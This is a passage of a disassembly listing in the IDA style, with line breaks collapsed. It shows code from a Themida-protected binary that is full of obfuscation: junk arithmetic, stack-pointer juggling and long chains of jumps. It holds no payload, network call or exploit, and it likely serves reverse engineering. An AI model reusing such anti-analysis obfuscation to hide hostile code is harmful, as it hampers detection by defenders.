loc_5701A4 ; --------------------------------------------------------------------------- loc_56AA99: ; CODE XREF: sub_562ABA+7D6j pop ecx jmp loc_570C75 ; --------------------------------------------------------------------------- loc_56AA9F: ; CODE XREF: sub_562ABA+3CBAj xchg ebp, [esp+0] jmp loc_56FB50 ; --------------------------------------------------------------------------- loc_56AAA7: ; CODE XREF: sub_562ABA-169j mov esp, [esp+2Ah+var_2C+2] jmp loc_560297 ; --------------------------------------------------------------------------- loc_56AAAF: ; CODE XREF: sub_562ABA+4987j add edi, 4 sub edi, 4 xchg edi, [esp+1Ah+var_1A] pop esp mov [esp+16h+var_16], esi mov esi, 4 add ecx, 68966F56h jmp loc_56C080 ; --------------------------------------------------------------------------- loc_56AACF: ; CODE XREF: sub_562ABA+911Ej sub ah, cl pop ecx add bh, 7Dh sub bh, 0C4h jmp loc_56C21D ; --------------------------------------------------------------------------- loc_56AADD: ; CODE XREF: sub_562ABA+A535j sub ebx, 53A85CC4h sub ebx, esi add ebx, 53A85CC4h pop esi push ebx xor [esp+12h+var_12], 27A4649h jmp loc_5638BD ; --------------------------------------------------------------------------- loc_56AAF9: ; CODE XREF: sub_562ABA+CC17j movzx eax, al mov dx, word ptr [esp+12h+var_12] sub esp, 4 mov [esp+16h+var_16], eax push esp pop eax push ecx mov ecx, 4 add eax, ecx pop ecx push edi mov edi, 2 add eax, edi mov edi, [esp+1Ah+var_1A] jmp loc_571992 ; --------------------------------------------------------------------------- loc_56AB24: ; CODE XREF: sub_562ABA+247Cj push edi push [esp+arg_0] jmp loc_568B14 ; --------------------------------------------------------------------------- loc_56AB2E: ; CODE XREF: sub_562ABA+FCD1j xor ecx, 0EA87C155h and edi, ecx jmp loc_568821 ; --------------------------------------------------------------------------- loc_56AB3B: ; CODE XREF: sub_562ABA+2000j sub esp, 4 mov [esp+22h+var_22], ebp pop ebx push [esp+1Eh+var_1E] pop ebp push ebx mov ebx, esp add ebx, 4 jmp loc_56CB15 ; --------------------------------------------------------------------------- loc_56AB54: ; CODE XREF: sub_562ABA-45Bj pop dx sub al, dl jmp loc_56AC94 ; --------------------------------------------------------------------------- loc_56AB5D: ; CODE XREF: sub_562ABA+CDFEj add eax, 4ADE5DA3h xor eax, 9C5FCF07h sub ebx, eax pop eax add ebx, edi add ebx, 0C3674F8h mov edi, [esp-10h+arg_C] add esp, 4 xchg ebx, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] push 6427h mov [esp-10h+arg_C], esi mov esi, 280B7FC7h add edx, esi jmp loc_56AFEA ; --------------------------------------------------------------------------- loc_56AB92: ; CODE XREF: sub_562ABA+5329j sub ebx, 22736113h sub ebx, 0EEB0B343h and esi, ebx jmp loc_56E3BC ; --------------------------------------------------------------------------- loc_56ABA5: ; CODE XREF: sub_562ABA+BA51j push ecx push 1D586C9Dh jmp loc_5702BA ; --------------------------------------------------------------------------- loc_56ABB0: ; CODE XREF: sub_562ABA+D5DAj not al sub al, 0 add al, 69h push ecx mov cl, 0DEh dec cl add cl, 64h or al, cl jmp loc_56AF80 ; --------------------------------------------------------------------------- loc_56ABC5: ; CODE XREF: sub_562ABA+972j mov ecx, [esp+12h+var_12] jmp loc_55E61A ; --------------------------------------------------------------------------- loc_56ABCD: ; CODE XREF: sub_562ABA+D3DAj mov ebx, [esp+12h+var_12] jmp loc_56F4E4 ; --------------------------------------------------------------------------- loc_56ABD5: ; CODE XREF: sub_55FCA5+3CBj sub ecx, 8030EABCh add esi, ecx jmp loc_56F1D0 ; --------------------------------------------------------------------------- loc_56ABE2: ; CODE XREF: sub_562ABA+F578j inc [esp+12h+var_12] pop ebp add ebp, 0FFFEE42Eh add ecx, ebp mov ebp, [esp+0] jmp loc_560A98 ; --------------------------------------------------------------------------- loc_56ABF6: ; CODE XREF: sub_562ABA+D011j sub esp, 4 mov [esp+12h+var_12], edx jmp loc_56B21F ; --------------------------------------------------------------------------- loc_56AC04: ; CODE XREF: sub_562ABA+979Ej push ebx mov ebx, 4C72250Eh xor ebx, 2EB55C46h not ebx shl ebx, 7 shr ebx, 2 sub ebx, 2710D6DCh add edi, ebx pop ebx sub edi, 4 xchg edi, [esp+12h+var_12] jmp loc_562B89 ; --------------------------------------------------------------------------- loc_56AC2C: ; CODE XREF: sub_562ABA+25E0j xor esi, 4F2B31C0h shr esi, 7 jmp loc_568E79 ; --------------------------------------------------------------------------- loc_56AC3A: ; CODE XREF: sub_562ABA+C411j shr edi, 5 xchg esi, edi jmp loc_56CB7F ; --------------------------------------------------------------------------- loc_56AC44: ; CODE XREF: sub_562ABA+27E6j pop esp add ecx, 4 push edi mov edi, 2 push edi mov edi, 1CF5389Ah jmp loc_56673D ; --------------------------------------------------------------------------- loc_56AC5C: ; CODE XREF: sub_562ABA-DF2j add ebx, 3C6B7810h sub ebx, edi sub ebx, 3C6B7810h sub ebx, 3C10686Bh mov edi, [esp+0] add esp, 4 jmp loc_5621A1 ; --------------------------------------------------------------------------- loc_56AC7B: ; CODE XREF: sub_562ABA-378Dj sub esi, 5CE2755Fh pop ebp sub esp, 4 jmp loc_5674D2 ; --------------------------------------------------------------------------- loc_56AC8D: ; CODE XREF: sub_562ABA+A791j and eax, esi jmp loc_57262E ; --------------------------------------------------------------------------- loc_56AC94: ; CODE XREF: sub_562ABA+809Ej sub al, 79h pop edx push ebx mov bh, 0C9h not bh push eax mov ah, 6 jmp loc_571D42 ; --------------------------------------------------------------------------- loc_56ACA4: ; CODE XREF: sub_562ABA-2383j add eax, 4 add eax, 4 xchg eax, [esp+0] pop esp push 5446h mov [esp+0], ecx mov ch, 99h add ch, 8Dh add ch, 52h not ch push ebx jmp loc_5669A3 ; --------------------------------------------------------------------------- loc_56ACCA: ; CODE XREF: sub_562ABA+CD03j sub edi, 4 xchg edi, [esp+2+var_4+2] jmp loc_56CCC7 ; --------------------------------------------------------------------------- loc_56ACD5: ; CODE XREF: sub_562ABA-3EF5j add edx, 1A2452D6h jmp loc_57290A ; --------------------------------------------------------------------------- loc_56ACE0: ; CODE XREF: sub_562ABA+BBE8j inc esi jmp loc_5689DC ; --------------------------------------------------------------------------- loc_56ACE6: ; CODE XREF: sub_562ABA+FFBDj mov edi, esp add edi, 4 jmp loc_568D6F ; --------------------------------------------------------------------------- loc_56ACF3: ; CODE XREF: sub_55FCA5+62j mov dword ptr [ecx], 0 push [esp+32h+var_32] mov ecx, [esp+36h+var_36] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+36h+var_36] pop esp jmp loc_566121 ; --------------------------------------------------------------------------- loc_56AD17: ; CODE XREF: sub_562ABA+8E79j push dword ptr [esp+4] pop ebp pop [esp+32h+var_32] jmp loc_5704B7 ; --------------------------------------------------------------------------- loc_56AD24: ; CODE XREF: sub_562ABA+7E5Ej and esi, eax pop eax jmp loc_56CFE9 ; --------------------------------------------------------------------------- loc_56AD2C: ; CODE XREF: sub_562ABA+DB5Bj sub eax, 57B470E6h pop esi sub esp, 4 mov [esp+32h+var_32], edx mov edx, 74A6341Fh xor edx, 74A6341Dh add eax, edx jmp loc_56BEDD ; --------------------------------------------------------------------------- loc_56AD4A: ; CODE XREF: sub_562ABA+31D4j push ebx mov ebx, 0F1226E0h sub ebx, 17B95CCEh and ebx, 52DA174Bh jmp loc_56CB8F ; --------------------------------------------------------------------------- loc_56AD61: ; CODE XREF: sub_562ABA+C9DAj mov eax, [esp+12h+var_12] add esp, 4 jmp loc_567BB1 ; --------------------------------------------------------------------------- loc_56AD6F: ; CODE XREF: sub_562ABA+5C73j add edx, esi pop esi sub edx, 78615F5Dh add edx, eax push ebp jmp loc_562FD6 ; --------------------------------------------------------------------------- loc_56AD80: ; CODE XREF: sub_562ABA+119Bj xor ebx, [esp+32h+var_32] xor [esp+32h+var_32], ebx xor ebx, [esp+32h+var_32] pop esp add dword ptr [esp+0], 0A4861C8h add dword ptr [esp+0], 6122264h sub dword ptr [esp+0], 1466CF2h sub [esp+0], eax add dword ptr [esp+0], 1466CF2h push 358h jmp loc_55EFB2 ; --------------------------------------------------------------------------- loc_56ADB3: ; CODE XREF: sub_562ABA+7165j xor edx, eax pop eax push edi mov edi, 42FD7B44h not edi shl edi, 1 push eax push ebp mov ebp, 0C2E5D5Ah jmp loc_56025F ; --------------------------------------------------------------------------- loc_56ADCC: ; CODE XREF: sub_562ABA+3585j sub ebx, 4 xchg ebx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] jmp loc_56BB8B ; --------------------------------------------------------------------------- loc_56ADDD: ; CODE XREF: sub_562ABA+3CFBj mov [esp+0], ebp jmp loc_57188A ; --------------------------------------------------------------------------- loc_56ADE5: ; CODE XREF: sub_562ABA+FEACj mov esp, [esp+0] jmp loc_566A64 ; --------------------------------------------------------------------------- loc_56ADED: ; CODE XREF: sub_562ABA+B760j add esp, 4 jmp loc_570F78 ; --------------------------------------------------------------------------- loc_56ADF5: ; CODE XREF: sub_562ABA-31EEj mov [esp+12h+var_12], ebx jmp loc_5618F7 ; --------------------------------------------------------------------------- loc_56ADFD: ; CODE XREF: sub_562ABA+9B7j mov [esp+0], eax jmp loc_56307A ; --------------------------------------------------------------------------- loc_56AE05: ; CODE XREF: sub_562ABA-307Fj push ebx mov ebx, 4 mov eax, ebx pop ebx jmp loc_5659E5 ; --------------------------------------------------------------------------- loc_56AE13: ; CODE XREF: sub_562ABA+13C6j pop eax add esi, ebp pop ebp sub ebx, 36A2275Dh add ebx, esi add ebx, 36A2275Dh push [esp+16h+var_16] pop esi add esp, 4 jmp loc_56FB21 ; --------------------------------------------------------------------------- loc_56AE31: ; CODE XREF: sub_562ABA+BB9Fj mov esp, [esp+12h+var_12] jmp loc_563DD2 ; --------------------------------------------------------------------------- loc_56AE39: ; CODE XREF: sub_562ABA-42A8j pop ebp push eax jmp loc_563D17 ; --------------------------------------------------------------------------- loc_56AE40: ; CODE XREF: sub_562ABA+A1A1j push ebx push 32DAh mov [esp+1Eh+var_1E], eax push esi push 56412DBCh mov esi, [esp+26h+var_28+2] jmp loc_56B4C4 ; --------------------------------------------------------------------------- loc_56AE57: ; CODE XREF: sub_562ABA+F518j push 1289h mov [esp+2Ah+var_2C+2], esp jmp loc_568D2F ; --------------------------------------------------------------------------- loc_56AE64: ; CODE XREF: sub_562ABA+91B0j sub ebp, 48F85CACh pop ebx xor ebp, [esp+26h+var_28+2] jmp loc_571A70 ; --------------------------------------------------------------------------- loc_56AE73: ; CODE XREF: sub_562ABA-1B67j dec ebp sub ebp, 12E6F98Fh add edx, ebp pop ebp mov ecx, [esp+44h+var_46+2] add esp, 4 xchg edx, [esp+40h+var_42+2] mov esp, [esp+40h+var_42+2] mov ecx, [esp+40h+var_42+2] push 2642h mov [esp+44h+var_46+2], ebp push 0D60h push 1E68h jmp loc_5682EB ; --------------------------------------------------------------------------- loc_56AEA6: ; CODE XREF: sub_562ABA+BF84j push 1A46h jmp loc_565A1D ; --------------------------------------------------------------------------- loc_56AEB0: ; CODE XREF: sub_562ABA+7AF1j add ecx, ebp add ecx, 6AA05C46h pop ebp add ecx, 4 xchg ecx, [esp+32h+var_32] pop esp jmp loc_564AFD ; --------------------------------------------------------------------------- loc_56AEC5: ; CODE XREF: sub_562ABA-4840j shl eax, 4 xor eax, 5D144787h shr eax, 8 push esi jmp loc_5723FE ; --------------------------------------------------------------------------- loc_56AED6: ; CODE XREF: sub_55FCA5+2D5j sub ecx, 27F15447h sub edi, ecx jmp loc_566792 ; --------------------------------------------------------------------------- loc_56AEE3: ; DATA XREF: Themida_:0055DFACo lodsd push edx jmp loc_56DA3B ; --------------------------------------------------------------------------- loc_56AEEA: ; CODE XREF: sub_562ABA-3389j sub eax, 4F42716Fh add eax, ebx add eax, 4F42716Fh pop ebx push ecx mov ecx, 46B9359Dh add ecx, 5F5A66E6h sub ecx, 612D0C3Eh jmp loc_5670D2 ; --------------------------------------------------------------------------- loc_56AF0E: ; CODE XREF: sub_562ABA+F5j push edx mov edx, 2455574Eh add edx, 513DDE00h mov edi, edx pop edx sub edi, 365C1F5Bh shl edi, 5 inc edi sub edi, 0E6E2BE5Dh add ebp, edi mov edi, [esp+12h+var_12] add esp, 4 sub esp, 4 mov [esp+12h+var_12], esi mov esi, 61002F60h not esi and esi, 2E8A6E8Bh push ecx mov ecx, 40D97973h or esi, ecx pop ecx push ebp push 4EDB79F9h mov ebp, [esp+1Ah+var_1A] add esp, 4 xor esi, ebp pop ebp add ebp, 783F303Ch sub ebp, 22BD6928h jmp loc_572043 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+12h+var_12] jmp loc_56B28A ; --------------------------------------------------------------------------- loc_56AF80: ; CODE XREF: sub_562ABA+8106j pop ecx shl al, 7 add al, 81h add bl, al pop eax mov dx, word ptr [esp+20h+var_22+2] add esp, 2 sub bl, 0E7h sub bl, 0FDh jmp loc_56074A ; --------------------------------------------------------------------------- loc_56AF9B: ; CODE XREF: sub_562ABA+3154j or dh, 0FCh shl dh, 1 add dh, 0EAh add bl, dh push [esp+26h+var_28+2] pop edx push ecx jmp loc_56E8F6 ; --------------------------------------------------------------------------- loc_56AFAF: ; CODE XREF: sub_562ABA+1E44j mov [esp+0], ecx push ebx push ecx mov cl, 6Bh dec cl push ebx mov bl, 0D7h jmp loc_56A138 ; --------------------------------------------------------------------------- loc_56AFC0: ; CODE XREF: sub_562ABA+AE0j sub edi, 77186173h jmp loc_55FCDA ; --------------------------------------------------------------------------- loc_56AFCB: ; CODE XREF: sub_562ABA+8A7Ej push 2F90h mov [esp+36h+var_36], edi mov edi, 4 add eax, 6E4351Ch add eax, edi sub eax, 6E4351Ch pop edi jmp loc_568F73 ; --------------------------------------------------------------------------- loc_56AFEA: ; CODE XREF: sub_562ABA+80D3j pop esi jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56AFF0: ; CODE XREF: sub_562ABA+E927j add [esp-14h+arg_10], 4 pop [esp-14h+arg_10] push ecx push ebx mov ebx, 14F30737h sub esp, 4 mov [esp-0Ch+arg_8], esi push ebx jmp loc_55E1A1 ; --------------------------------------------------------------------------- loc_56B010: ; CODE XREF: sub_562ABA+86ADj pop ecx push ebx jmp loc_56FA39 ; --------------------------------------------------------------------------- loc_56B017: ; CODE XREF: sub_562ABA+634Cj and esi, edx pop edx jmp loc_56B458 ; --------------------------------------------------------------------------- loc_56B01F: ; CODE XREF: Themida_:0055E4EBj add esp, 4 add edx, 4 jmp loc_56C4A9 ; --------------------------------------------------------------------------- loc_56B02D: ; CODE XREF: sub_562ABA+A0Ej add esp, 4 sub esp, 4 mov [esp+10h+var_12+2], ecx jmp loc_565C93 ; --------------------------------------------------------------------------- loc_56B03E: ; CODE XREF: sub_562ABA+52B5j shl bx, 7 and bx, 2305h sub bx, 0DF55h jmp loc_56326F ; --------------------------------------------------------------------------- loc_56B051: ; CODE XREF: sub_562ABA+CE0Fj xchg eax, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] mov [esp+2+var_4+2], ebx jmp loc_565595 ; --------------------------------------------------------------------------- loc_56B05F: ; CODE XREF: sub_562ABA+4243j mov esi, 4 add [esp+36h+var_32], esi pop esi pop [esp+32h+var_32] push edx jmp loc_57148A ; --------------------------------------------------------------------------- loc_56B072: ; CODE XREF: Themida_:0056180Fj mov eax, 0C5B4B0DAh push ebp mov ebp, eax mov edi, ebp mov ebp, [esp+36h+var_36] jmp loc_56C4BD ; --------------------------------------------------------------------------- loc_56B084: ; CODE XREF: sub_562ABA-216j push ecx jmp loc_56F7F6 ; --------------------------------------------------------------------------- loc_56B08A: ; CODE XREF: sub_562ABA+2913j xor [esp+1Ah+var_1A], eax jmp loc_56CCF5 ; --------------------------------------------------------------------------- loc_56B092: ; CODE XREF: sub_562ABA+1AE6j push dword ptr [esp+0] push [esp+32h+var_32] mov eax, [esp+36h+var_36] add esp, 4 push esi mov esi, esp push ecx jmp loc_56CE0E ; --------------------------------------------------------------------------- loc_56B0A7: ; CODE XREF: sub_562ABA+D50Aj pop [esp+3Ah+var_3A] jmp loc_566F94 ; --------------------------------------------------------------------------- loc_56B0AF: ; CODE XREF: sub_55FCA5-6Ej pop esi sub edx, ecx jmp loc_56B950 ; --------------------------------------------------------------------------- loc_56B0B7: ; CODE XREF: sub_562ABA-1EC9j shl esi, 4 and esi, 4F022925h jmp loc_566437 ; --------------------------------------------------------------------------- loc_56B0C5: ; CODE XREF: sub_55FCA5+2A80j not [esp+8+var_8] mov esi, [esp+8+var_8] add esp, 4 xor esi, 185332B9h inc esi jmp loc_56EDC9 ; --------------------------------------------------------------------------- loc_56B0DA: ; CODE XREF: sub_562ABA+8B74j mov edx, [esp+4+var_4] add esp, 4 add edx, 4 push 7E69h jmp loc_56B84B ; --------------------------------------------------------------------------- loc_56B0F0: ; CODE XREF: sub_562ABA+643Fj mov ebp, [esp+36h+var_36] add esp, 4 jmp loc_56F0EE ; --------------------------------------------------------------------------- loc_56B0FE: ; CODE XREF: sub_562ABA+95F4j push ebp jmp loc_5722CB ; --------------------------------------------------------------------------- loc_56B104: ; CODE XREF: sub_562ABA-3DD7j push esi sub esp, 4 jmp loc_5643E3 ; --------------------------------------------------------------------------- loc_56B110: ; CODE XREF: sub_562ABA+3D0Ej xchg esi, [esp+12h+var_12] pop esp jmp sub_55F788 ; --------------------------------------------------------------------------- loc_56B119: ; CODE XREF: sub_562ABA+C22j push ecx add [esp+1Ah+var_1A], 6235028Ch mov esi, [esp+1Ah+var_1A] jmp loc_560704 ; --------------------------------------------------------------------------- loc_56B129: ; CODE XREF: sub_562ABA+8CCBj add edi, 4 add edi, 4 xor edi, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], edi xor edi, [esp+1Ah+var_1A] jmp loc_5625F8 ; --------------------------------------------------------------------------- loc_56B143: ; CODE XREF: sub_562ABA+5CFCj pop edx shr ebp, 2 push 7745h mov [esp+12h+var_12], eax jmp loc_5618A9 ; --------------------------------------------------------------------------- loc_56B154: ; CODE XREF: sub_562ABA+28Ej mov eax, edx pop edx jmp loc_56EFDC ; --------------------------------------------------------------------------- loc_56B15C: ; CODE XREF: sub_562ABA-1B2Aj xor ecx, ebx push [esp-14h+arg_10] pop ebx add esp, 4 mov edi, ecx jmp loc_56B010 ; --------------------------------------------------------------------------- loc_56B16C: ; CODE XREF: sub_562ABA+6C9Fj mov ebx, 38035B6Bh jmp loc_560F28 ; --------------------------------------------------------------------------- loc_56B176: ; CODE XREF: sub_562ABA+CCFj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+36h+var_36] jmp loc_56A6CB ; --------------------------------------------------------------------------- loc_56B18A: ; CODE XREF: sub_562ABA+8F50j mov [esp+36h+var_36], eax push edx mov edx, 3F282ACAh jmp loc_56E931 ; --------------------------------------------------------------------------- loc_56B198: ; CODE XREF: sub_562ABA-492Dj not dl neg dl push ecx jmp loc_5643C8 ; --------------------------------------------------------------------------- loc_56B1A2: ; CODE XREF: sub_562ABA+CD77j pop ebp sub esp, 4 mov [esp+0], esi mov esi, 4 sub ebp, 0B445601h add ebp, esi sub esp, 4 mov [esp+12h+var_12], ecx push esi mov esi, 0A7B6774h mov ecx, 13F3175h xor ecx, esi pop esi add ebp, 7A38797Fh add ebp, ecx sub ebp, 7A38797Fh mov ecx, [esp+12h+var_12] add esp, 4 push dword ptr [esp+0] pop esi add esp, 4 add ebp, 2 sub esp, 4 jmp loc_55FEB1 ; --------------------------------------------------------------------------- loc_56B1FC: ; CODE XREF: sub_562ABA+657j xor edx, [esp+8+var_8] jmp loc_5649A9 ; --------------------------------------------------------------------------- loc_56B204: ; CODE XREF: sub_562ABA-2940j xor ecx, ebp not ebp xchg ebp, ecx jmp loc_56E2AF ; --------------------------------------------------------------------------- loc_56B20F: ; CODE XREF: sub_562ABA-1FD8j push [esp+0Ah+var_C+2] jmp loc_55E837 ; --------------------------------------------------------------------------- loc_56B217: ; CODE XREF: sub_562ABA+21F8j and eax, ebx pop ebx jmp loc_5655F5 ; --------------------------------------------------------------------------- loc_56B21F: ; CODE XREF: sub_562ABA+8145j mov edx, 4 sub edi, edx pop edx xchg edi, [esp+0] mov esp, [esp+0] mov [esp+0], eax push edx jmp loc_563B84 ; --------------------------------------------------------------------------- loc_56B236: ; CODE XREF: sub_562ABA+F18j sub edx, 28814882h pop edi push edi mov edi, 38B5DEA1h jmp loc_564E93 ; --------------------------------------------------------------------------- loc_56B248: ; CODE XREF: sub_562ABA+CABj add esp, 4 sub edx, esi pop esi add edx, 306C6233h sub edx, eax sub edx, 306C6233h push ebx jmp loc_563FAA ; --------------------------------------------------------------------------- loc_56B265: ; CODE XREF: sub_562ABA+100FBj push [esp+42h+var_3E] pop edi pop [esp+42h+var_42] pop esp sub esp, 4 mov [esp+3Eh+var_3E], ebx mov ebx, 4DCF265Eh add ebx, 1 jmp loc_569E16 ; --------------------------------------------------------------------------- loc_56B281: ; CODE XREF: sub_562ABA-B06j pop edi push [esp+6+var_8+2] jmp loc_567260 ; --------------------------------------------------------------------------- loc_56B28A: ; CODE XREF: sub_562ABA+84C1j push 709Fh mov [esp+16h+var_16], eax push esp push [esp+1Ah+var_1A] pop eax push ebp jmp loc_5655AC ; --------------------------------------------------------------------------- loc_56B29D: ; CODE XREF: sub_562ABA+3FBDj mov ecx, 7C6173F4h mov ebx, 0E718059Ah add ebx, ecx pop ecx push edi mov edi, 64100D0Bh shr edi, 2 inc edi push edx mov edx, 791E4DA6h neg edx dec edx add edx, 0DAD57ABCh add edi, edx pop edx jmp loc_55EA81 ; --------------------------------------------------------------------------- loc_56B2CB: ; CODE XREF: sub_562ABA+E86Dj sub esp, 4 mov [esp+1Ch+var_1E+2], edi jmp loc_5614E8 ; --------------------------------------------------------------------------- loc_56B2D6: ; CODE XREF: sub_562ABA+259j xchg eax, [esp+0Ah+var_C+2] mov esp, [esp+0Ah+var_C+2] jmp loc_55E09F ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0Ah+var_C+2] jmp loc_5615E0 ; --------------------------------------------------------------------------- loc_56B2EA: ; CODE XREF: sub_562ABA+43D7j add al, dl sub al, 86h pop dx sub bl, 0FDh sub bl, 0Bh push eax jmp loc_57288F ; --------------------------------------------------------------------------- loc_56B2FC: ; CODE XREF: sub_562ABA+9590j xchg edi, [esp+58h+var_5A+2] jmp loc_57039B ; --------------------------------------------------------------------------- loc_56B304: ; CODE XREF: sub_562ABA-276Bj sub eax, 15BA34CBh push ecx push esp pop ecx push ebx mov ebx, 4 add ecx, ebx jmp loc_56C3F5 ; --------------------------------------------------------------------------- loc_56B319: ; CODE XREF: sub_562ABA+F406j or ebp, 5E9145EAh jmp loc_56710D ; --------------------------------------------------------------------------- loc_56B324: ; CODE XREF: sub_562ABA+92E9j sub ebx, 4CC40DE9h jmp loc_562D02 ; --------------------------------------------------------------------------- loc_56B32F: ; CODE XREF: Themida_:0056149Cj push esi sub esp, 4 mov [esp+12h+var_12], esp push edx mov edx, 4 add [esp+16h+var_12], edx pop edx jmp loc_56EB1E ; --------------------------------------------------------------------------- loc_56B346: ; CODE XREF: sub_562ABA+AC19j sub edi, 0C44AE017h and edx, edi pop edi not edx shl edx, 7 xor edx, 8A3BC7D9h mov eax, edx pop edx shl eax, 2 push edx push ebx mov ebx, 1 mov edx, ebx jmp loc_5707C3 ; --------------------------------------------------------------------------- loc_56B36E: ; CODE XREF: sub_562ABA-1BEDj push edx mov edx, 3D0E667Fh push ebx mov ebx, 265A74FDh push ecx mov ecx, 5B7A1E9Fh add ebx, ecx pop ecx xor ebx, 0ADF6C977h jmp loc_56FB9E ; --------------------------------------------------------------------------- loc_56B38E: ; CODE XREF: sub_562ABA+C120j push [esp+50h+var_52+2] push [esp+54h+var_56+2] push [esp+58h+var_5A+2] pop edi add esp, 4 sub esp, 4 mov [esp+58h+var_5A+2], ebp push esp pop ebp push esi mov esi, 4 add ebp, offset dword_437474 add ebp, esi sub ebp, offset dword_437474 mov esi, [esp+5Ch+var_5E+2] add esp, 4 sub esp, 4 mov [esp+5Ch+var_5E+2], ecx push 4 push [esp+60h+var_62+2] pop ecx add esp, 4 add ebp, ecx mov ecx, [esp+5Ch+var_5E+2] add esp, 4 push 8E0h jmp loc_56A975 ; --------------------------------------------------------------------------- loc_56B3F0: ; CODE XREF: sub_562ABA+14A7j push ebx jmp loc_56E8BC ; --------------------------------------------------------------------------- loc_56B3F6: ; CODE XREF: sub_562ABA+A728j add ebx, edx sub ebx, 56F77639h pop edx push edx jmp loc_56B654 ; --------------------------------------------------------------------------- loc_56B405: ; CODE XREF: sub_562ABA+AEDFj mov ebp, esp add ebp, 4 push ecx jmp loc_56FE16 ; --------------------------------------------------------------------------- loc_56B413: ; CODE XREF: sub_562ABA-9D2j dec dword ptr [esp+0] not dword ptr [esp+0] pop ebx push esi mov esi, 0FFFFFFFFh jmp loc_56FD2D ; --------------------------------------------------------------------------- loc_56B425: ; CODE XREF: Themida_:005606A8j add esp, 4 sub esp, 4 mov [esp+0], ecx sub esp, 4 jmp loc_55EE98 ; --------------------------------------------------------------------------- loc_56B43C: ; CODE XREF: sub_562ABA-1EAj add esp, 4 sub esp, 4 mov [esp+0], ebp mov ebp, 3F4A4BD5h not ebp push edi jmp loc_571731 ; --------------------------------------------------------------------------- loc_56B458: ; CODE XREF: sub_562ABA+8560j inc esi jmp loc_56F57B ; --------------------------------------------------------------------------- loc_56B45E: ; CODE XREF: Themida_:00571E38j push 3AA3h mov [esp+5Eh+var_5E], ebx push 62C9h mov [esp+62h+var_62], esp add [esp+62h+var_62], 4 push [esp+62h+var_62] pop ebx sub esp, 4 mov [esp+66h+var_66], ecx push esp pop ecx add ecx, 4 push 27CAh mov [esp+6Ah+var_6A], ebp push ecx mov ecx, 435656AAh and ecx, 51951FFEh not ecx neg ecx jmp loc_566B29 ; --------------------------------------------------------------------------- loc_56B4A4: ; CODE XREF: sub_562ABA+CE06j pop esp mov [esp+6Ah+var_6A], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+6Ah+var_6A] pop esp push 4ED7h mov [esp+6Ah+var_6A], edx jmp loc_56EA38 ; --------------------------------------------------------------------------- loc_56B4C4: ; CODE XREF: sub_562ABA+8398j add esp, 4 jmp loc_55EFF4 ; --------------------------------------------------------------------------- loc_56B4CC: ; CODE XREF: sub_562ABA+F097j pop esp push esp pop [esp+22h+var_22] add [esp+1Eh+var_1E], 4 push [esp+1Eh+var_1E] pop ecx add esp, 4 push edx mov edx, 4 add ecx, edx jmp loc_56BAC1 ; --------------------------------------------------------------------------- loc_56B4E9: ; CODE XREF: sub_562ABA+7A17j sub esp, 4 mov [esp+3Ah+var_3A], ebp mov ebp, 34DA2618h dec ebp shl ebp, 3 sub ebp, 4E933331h push 4418h mov [esp+3Eh+var_3E], ecx push edx mov edx, 12B4138Ch sub edx, 7BDF16B8h not edx or edx, 79F37486h xor edx, 7E784C79h jmp loc_57245A ; --------------------------------------------------------------------------- loc_56B525: ; CODE XREF: sub_562ABA+700j mov edx, 4 add eax, edx jmp loc_56F8C5 ; --------------------------------------------------------------------------- loc_56B531: ; CODE XREF: sub_55FCA5+F0j push esp pop eax add eax, 4 jmp loc_56AFCB ; --------------------------------------------------------------------------- loc_56B53D: ; CODE XREF: sub_562ABA+220Cj add edx, 4 jmp loc_569D98 ; --------------------------------------------------------------------------- loc_56B545: ; CODE XREF: sub_562ABA+F195j sub esp, 4 jmp loc_56753F ; --------------------------------------------------------------------------- loc_56B550: ; CODE XREF: sub_562ABA+A54Bj add al, 0F1h mov bl, al pop eax jmp loc_5646D9 ; --------------------------------------------------------------------------- loc_56B55A: ; CODE XREF: sub_562ABA+26B7j xchg eax, [esp+0] pop esp add ecx, 2 push 20E2h jmp loc_568FA4 ; --------------------------------------------------------------------------- loc_56B56E: ; CODE XREF: sub_562ABA+5665j mov [esp+20h+var_22+2], esi pop edi pop esi neg esi xchg esi, edi add edi, 7EB26696h shr edi, 6 or edi, 1B7B7274h add edi, 4028CFD8h push edx mov edx, 7D4215B5h jmp sub_56202E ; --------------------------------------------------------------------------- loc_56B597: ; CODE XREF: sub_562ABA+4B60j pop esi push ebx mov ebx, esp push esi jmp loc_5666A0 ; --------------------------------------------------------------------------- loc_56B5A1: ; CODE XREF: sub_562ABA+B22Ej push ecx mov ecx, esp add ecx, 4 push edi jmp loc_56E276 ; --------------------------------------------------------------------------- loc_56B5B0: ; CODE XREF: sub_562ABA+6229j pop esp add esp, 4 mov [edx], ch push [esp+1Ah+var_1A] pop ecx add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56B5C5: ; CODE XREF: sub_562ABA+AEC7j add ebp, 4 sub ebp, 4 xchg ebp, [esp+16h+var_16] mov esp, [esp+16h+var_16] jmp loc_567A79 ; --------------------------------------------------------------------------- loc_56B5D9: ; CODE XREF: sub_562ABA+32EBj push ebx mov ebx, 6E13214Bh sub eax, ebx jmp loc_564FA2 ; --------------------------------------------------------------------------- loc_56B5E6: ; CODE XREF: sub_56279F+7j pop edi add edi, 4 push 604Eh jmp loc_565AD4 ; --------------------------------------------------------------------------- loc_56B5F7: ; CODE XREF: sub_562ABA+27DDj mov ecx, [esp+42h+var_42] push ebp mov ebp, esp add ebp, 4 jmp loc_5711B2 ; --------------------------------------------------------------------------- loc_56B608: ; CODE XREF: sub_562ABA-4DBj mov esp, [esp+26h+var_28+2] div cx push 5904h mov [esp+2Ah+var_2C+2], edx push 28C3h mov [esp+0], esp push ebp mov ebp, 4 add [esp+4], ebp mov ebp, [esp+32h+var_32] add esp, 4 jmp loc_56B0DA ; --------------------------------------------------------------------------- loc_56B633: ; CODE XREF: sub_562ABA+CEF2j pop esi xchg ebx, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] or [esp+2Ah+var_2C+2], eax pushf jmp loc_55E09F ; 